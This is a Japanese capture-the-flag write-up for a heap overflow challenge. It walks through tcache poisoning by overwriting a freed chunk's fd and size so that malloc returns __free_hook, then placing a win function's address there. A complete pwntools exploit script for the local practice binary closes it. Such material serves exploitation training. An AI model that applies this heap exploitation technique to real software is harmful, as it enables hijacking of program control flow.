方針
Heap overflowによって、下のチャンクのfdとサイズを書き換えて、tcache poisoning によるwin関数の呼び出し。
やる
Bの領域をmallocしてfreeすることで、tcache(の0x20ようのスレッド)につなげる。
-=-=-=-=-= TCACHE -=-=-=-=-=
[ tcache (for 0x20) ]
||
\/
[ 0x000055dfd3002350(rw-) ]
||
\/
[ END OF TCACHE ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
1. Bのfdを書き換える
freeされたチャンク(freed chunk)のfdがNULLなので、次につながっているfreed chunkはない。
ここで、AのHeap Overflowを利用して、Bのfdを書き換えるとfdに値が入るので、tcache君はBの次があると錯覚する。
A*24 + 0x31 + __freehookを与えた図。
2. fdを__free_hookで書き換える
fdを__free_hook(のアドレス)で書き換えると、tcacheはこのようになる。
(tcacheを汚染しているので、これをtcache poisoningという)
-=-=-=-=-= TCACHE -=-=-=-=-=
[ tcache (for 0x20) ]
||
\/
[ 0x0000557af97c3350(rw-) ]
||
\/
[ 0x00007effac9cc8e8(rw-) ]
||
\/
[ END OF TCACHE ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
3. chunk sizeを0x30にする
chunk sizeが0x20のままだと、一向に__free_hookのアドレスが返ってこない。
0x30にすると、Bのfreed chunkは0x30用のtcacheに繋がれるので、tcacheの先頭に__free_hookのアドレスが来る。
(0x20用のtcacheにBと__free_hookが繋がってるとき)
tcache [0x20] -> B -> __free_hook
tcache [0x30] -> NULL
↓↓↓
(Bのchunk sizeを0x30にして、malloc and freeしたとき)
tcache [0x20] -> __free_hook
tcache [0x30] -> B
__free_hookにwin関数を書き込む
B = malloc(0x18)で返ってくるアドレスは、__free_hookであることがわかる。
__free_hookは、free()を実行したときに呼ばれるフック1である。
したがって、__free_hookにwin関数のアドレスを書き込んでfree()をすることで、win関数が呼ばれる。
solver
from pwn import *
context(os = 'linux', arch = 'amd64')
context.log_level = 'debug'
def write(data):
io.sendlineafter("> ", "1")
io.sendline(data)
def malloc(data):
io.sendlineafter("> ", "2")
io.sendline(data)
def free():
io.sendlineafter("> ", "3")
def describe_heap():
io.sendlineafter("> ", "4")
io = process("./chall")
#leak address
io.recvuntil("<__free_hook>: ")
addr_free_hook = int(io.recvline(), 16)
print("__free_hook address: " + hex(addr_free_hook))
io.recvuntil("<win>: ")
addr_win = int(io.recvline(), 16)
print("win address: " + hex(addr_win))
payload = b"A"*0x18
payload += p64(0x31)
payload += p64(addr_free_hook)
malloc("")
free()
write(payload)
malloc("")
free()
malloc(p64(addr_win))
free()
io.interactive()
フック(Hook)は、一回経由する場所というイメージである。 ↩︎
